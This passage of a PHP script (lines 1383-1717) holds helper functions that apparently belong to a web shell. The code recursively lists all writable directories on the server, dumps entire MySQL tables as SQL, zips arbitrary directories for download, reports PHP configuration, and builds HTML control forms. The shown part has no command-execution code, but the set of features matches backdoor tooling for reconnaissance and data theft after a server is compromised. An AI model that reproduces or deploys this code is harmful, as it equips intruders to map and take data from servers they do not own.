1383function bg() {global $bgc;return ($bgc++%2==0) ? 'alt1' : 'alt2';}
1384function getPath($scriptpath, $nowpath) {
1385 if($nowpath == '.') {
1386 $nowpath = $scriptpath;
1387 }
1388 $nowpath = str_replace('\\', '/', $nowpath);
1389 $nowpath = str_replace('//', '/', $nowpath);
1390 if(substr($nowpath, -1) != '/') {
1391 $nowpath = $nowpath.'/';
1392 }
1393 return $nowpath;
1394}
1395function getUpPath($nowpath) {
1396 $pathdb = explode('/', $nowpath);
1397 $num = count($pathdb);
1398 if($num > 2) {
1399 unset($pathdb[$num-1],$pathdb[$num-2]);
1400 }
1401 $uppath = implode('/', $pathdb).'/';
1402 $uppath = str_replace('//', '/', $uppath);
1403 return $uppath;
1404}
1405function getcfg($var) {
1406 $l = @ini_get($var);$i = @get_cfg_var($var);
1407 $l = $l == 0 ? 'No' : ($l == 1 ? 'Yes' : $l);
1408 $i = $i == 0 ? 'No' : ($i == 1 ? 'Yes' : $i);
1409 $r = 'Local value: '.$l.' - INI value: '.$i;
1410 return $r;
1411}
1412function GetList($dir){
1413global $dirdata,$j,$nowpath;
1414!$j && $j=1;
1415if($dh = opendir($dir)) {
1416 while ($file = readdir($dh)) {
1417 $f=str_replace('//','/',$dir.'/'.$file);
1418 if($file!='.' && $file!='..' && is_dir($f)){
1419 if(is_writable($f)) {
1420 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1421 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1422 $dirdata[$j]['dirchmod']=getChmod($f);
1423 $dirdata[$j]['dirperm']=getPerms($f);
1424 $dirdata[$j]['dirlink']=ue($dir);
1425 $dirdata[$j]['server_link']=$f;
1426 $dirdata[$j]['client_link']=ue($f);
1427 $j++;
1428 }
1429 GetList($f);
1430 }
1431 }
1432 closedir($dh);
1433 clearstatcache();
1434 return $dirdata;
1435 } else {
1436 return array();
1437 }
1438}
1439function qy($sql) {
1440$res = $error = '';
1441if(!$res = @mysql_query($sql)) {
1442 return 0;
1443 } else if(is_resource($res)) {
1444 return 1;
1445 } else {
1446 return 2;
1447 }
1448return 0;
1449}
1450function q($sql) {return @mysql_query($sql);}
1451function fr($qy){mysql_free_result($qy);}
1452function sizecount($size) {
1453 if($size > 1073741824) {
1454 $size = round($size / 1073741824 * 100) / 100 . ' G';
1455 } elseif($size > 1048576) {
1456 $size = round($size / 1048576 * 100) / 100 . ' M';
1457 } elseif($size > 1024) {
1458 $size = round($size / 1024 * 100) / 100 . ' K';
1459 } else {
1460 $size = $size . ' B';
1461 }
1462 return $size;
1463}
1464class PHPZip{
1465 var $out='';
1466 function PHPZip($dir) {
1467 if(isfunc('gzcompress')) {
1468 $curdir = getcwd();
1469 if(is_array($dir)) $filelist = $dir;
1470 else{
1471 $filelist=$this -> GetFileList($dir);
1472 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
1473 }
1474 if((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
1475 else chdir($curdir);
1476 if(count($filelist)>0){
1477 foreach($filelist as $filename){
1478 if(is_file($filename)){
1479 $fd = fopen ($filename, 'r');
1480 $content = @fread ($fd, filesize($filename));
1481 fclose ($fd);
1482 if(is_array($dir)) $filename = basename($filename);
1483 $this -> addFile($content, $filename);
1484 }
1485 }
1486 $this->out = $this -> file();
1487 chdir($curdir);
1488 }
1489 return 1;
1490 }
1491 else return 0;
1492 }
1493 function GetFileList($dir){
1494 static $a;
1495 if(is_dir($dir)) {
1496 if($dh = opendir($dir)) {
1497 while ($file = readdir($dh)) {
1498 if($file!='.' && $file!='..'){
1499 $f=$dir .'/'. $file;
1500 if(is_dir($f)) $this->GetFileList($f);
1501 $a[]=$f;
1502 }
1503 }
1504 closedir($dh);
1505 }
1506 }
1507 return $a;
1508 }
1509 var $datasec = array();
1510 var $ctrl_dir = array();
1511 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1512 var $old_offset = 0;
1513 function unix2DosTime($unixtime = 0) {
1514 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1515 if($timearray['year'] < 1980) {
1516 $timearray['year'] = 1980;
1517 $timearray['mon'] = 1;
1518 $timearray['mday'] = 1;
1519 $timearray['hours'] = 0;
1520 $timearray['minutes'] = 0;
1521 $timearray['seconds'] = 0;
1522 }
1523 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1524 }
1525 function addFile($data, $name, $time = 0) {
1526 $name = str_replace('\\', '/', $name);
1527 $dtime = dechex($this->unix2DosTime($time));
1528 $hexdtime = '\x' . $dtime[6] . $dtime[7]
1529 . '\x' . $dtime[4] . $dtime[5]
1530 . '\x' . $dtime[2] . $dtime[3]
1531 . '\x' . $dtime[0] . $dtime[1];
1532 eval('$hexdtime = "' . $hexdtime . '";');
1533 $fr = "\x50\x4b\x03\x04";
1534 $fr .= "\x14\x00";
1535 $fr .= "\x00\x00";
1536 $fr .= "\x08\x00";
1537 $fr .= $hexdtime;
1538 $unc_len = strlen($data);
1539 $crc = crc32($data);
1540 $zdata = gzcompress($data);
1541 $c_len = strlen($zdata);
1542 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1543 $fr .= pack('V', $crc);
1544 $fr .= pack('V', $c_len);
1545 $fr .= pack('V', $unc_len);
1546 $fr .= pack('v', strlen($name));
1547 $fr .= pack('v', 0);
1548 $fr .= $name;
1549 $fr .= $zdata;
1550 $fr .= pack('V', $crc);
1551 $fr .= pack('V', $c_len);
1552 $fr .= pack('V', $unc_len);
1553 $this -> datasec[] = $fr;
1554 $new_offset = strlen(implode('', $this->datasec));
1555 $cdrec = "\x50\x4b\x01\x02";
1556 $cdrec .= "\x00\x00";
1557 $cdrec .= "\x14\x00";
1558 $cdrec .= "\x00\x00";
1559 $cdrec .= "\x08\x00";
1560 $cdrec .= $hexdtime;
1561 $cdrec .= pack('V', $crc);
1562 $cdrec .= pack('V', $c_len);
1563 $cdrec .= pack('V', $unc_len);
1564 $cdrec .= pack('v', strlen($name) );
1565 $cdrec .= pack('v', 0 );
1566 $cdrec .= pack('v', 0 );
1567 $cdrec .= pack('v', 0 );
1568 $cdrec .= pack('v', 0 );
1569 $cdrec .= pack('V', 32 );
1570 $cdrec .= pack('V', $this -> old_offset );
1571 $this -> old_offset = $new_offset;
1572 $cdrec .= $name;
1573 $this -> ctrl_dir[] = $cdrec;
1574 }
1575 function file() {
1576 $data = implode('', $this -> datasec);
1577 $ctrldir = implode('', $this -> ctrl_dir);
1578 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
1579 }
1580}
1581function sqldumptable($table, $fp=0) {
1582 $tabledump = "DROP TABLE IF EXISTS $table;\n";
1583 $tabledump .= "CREATE TABLE $table (\n";
1584 $firstfield=1;
1585 $fields = q("SHOW FIELDS FROM $table");
1586 while ($field = mysql_fetch_array($fields)) {
1587 if(!$firstfield) {
1588 $tabledump .= ",\n";
1589 } else {
1590 $firstfield=0;
1591 }
1592 $tabledump .= " $field[Field] $field[Type]";
1593 if(!empty($field["Default"])) {
1594 $tabledump .= " DEFAULT '$field[Default]'";
1595 }
1596 if($field['Null'] != "YES") {
1597 $tabledump .= " NOT NULL";
1598 }
1599 if($field['Extra'] != "") {
1600 $tabledump .= " $field[Extra]";
1601 }
1602 }
1603 fr($fields);
1604 $keys = q("SHOW KEYS FROM $table");
1605 while ($key = mysql_fetch_array($keys)) {
1606 $kname=$key['Key_name'];
1607 if($kname != "PRIMARY" && $key['Non_unique'] == 0) {
1608 $kname="UNIQUE|$kname";
1609 }
1610 if(!is_array($index[$kname])) {
1611 $index[$kname] = array();
1612 }
1613 $index[$kname][] = $key['Column_name'];
1614 }
1615 fr($keys);
1616 while(list($kname, $columns) = @each($index)) {
1617 $tabledump .= ",\n";
1618 $colnames=implode($columns,",");
1619 if($kname == "PRIMARY") {
1620 $tabledump .= " PRIMARY KEY ($colnames)";
1621 } else {
1622 if(substr($kname,0,6) == "UNIQUE") {
1623 $kname=substr($kname,7);
1624 }
1625 $tabledump .= " KEY $kname ($colnames)";
1626 }
1627 }
1628 $tabledump .= "\n);\n\n";
1629 if($fp) {
1630 fwrite($fp,$tabledump);
1631 } else {
1632 echo $tabledump;
1633 }
1634 $rows = q("SELECT * FROM $table");
1635 $numfields = mysql_num_fields($rows);
1636 while ($row = mysql_fetch_array($rows)) {
1637 $tabledump = "INSERT INTO $table VALUES(";
1638 $fieldcounter=-1;
1639 $firstfield=1;
1640 while (++$fieldcounter<$numfields) {
1641 if(!$firstfield) {
1642 $tabledump.=", ";
1643 } else {
1644 $firstfield=0;
1645 }
1646 if(!isset($row[$fieldcounter])) {
1647 $tabledump .= "NULL";
1648 } else {
1649 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
1650 }
1651 }
1652 $tabledump .= ");\n";
1653 if($fp) {
1654 fwrite($fp,$tabledump);
1655 } else {
1656 echo $tabledump;
1657 }
1658 }
1659 fr($rows);
1660 if($fp) {
1661 fwrite($fp,"\n");
1662 } else {
1663 echo "\n";
1664 }
1665}
1666function ue($str){return urlencode($str);}
1667function p($str){echo $str."\n";}
1668function tbhead() {p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');}
1669function tbfoot(){p('</table>');}
1670function makehide($name,$value=''){p('<input id="'.$name.'" type="hidden" name="'.$name.'" value="'.$value.'" />');}
1671function makeinput($arg = array()){
1672$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
1673$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
1674!$arg['type'] && $arg['type'] = 'text';
1675$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1676$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
1677if($arg['newline']) {
1678 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
1679 } else {
1680 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
1681 }
1682}
1683function makeselect($arg = array()){
1684if($arg['onchange']) {
1685 $onchange = 'onchange="'.$arg['onchange'].'"';
1686}
1687$arg['title'] = $arg['title'] ? $arg['title'] : '';
1688if($arg['newline']) p('<p>');
1689 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
1690 if(is_array($arg['option'])) {
1691 foreach ($arg['option'] as $key=>$value) {
1692 if($arg['selected']==$key) {
1693 p("<option value=\"$key\" selected>$value</option>");
1694 } else {
1695 p("<option value=\"$key\">$value</option>");
1696 }
1697 }
1698 }
1699p("</select>");
1700if($arg['newline']) p('</p>');
1701}
1702function formhead($arg = array()) {
1703!$arg['method'] && $arg['method'] = 'post';
1704!$arg['action'] && $arg['action'] = $self;
1705$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
1706!$arg['name'] && $arg['name'] = 'form1';
1707p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
1708if($arg['title']) {p('<h2>'.$arg['title'].' »</h2>');}
1709}
1710function maketext($arg = array()){
1711!$arg['cols'] && $arg['cols'] = 100;
1712!$arg['rows'] && $arg['rows'] = 25;
1713$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1714p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
1715}
1716function formfooter($name=''){!$name && $name = 'submit';p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit" /></p>'."\n</form>");}
1717exit();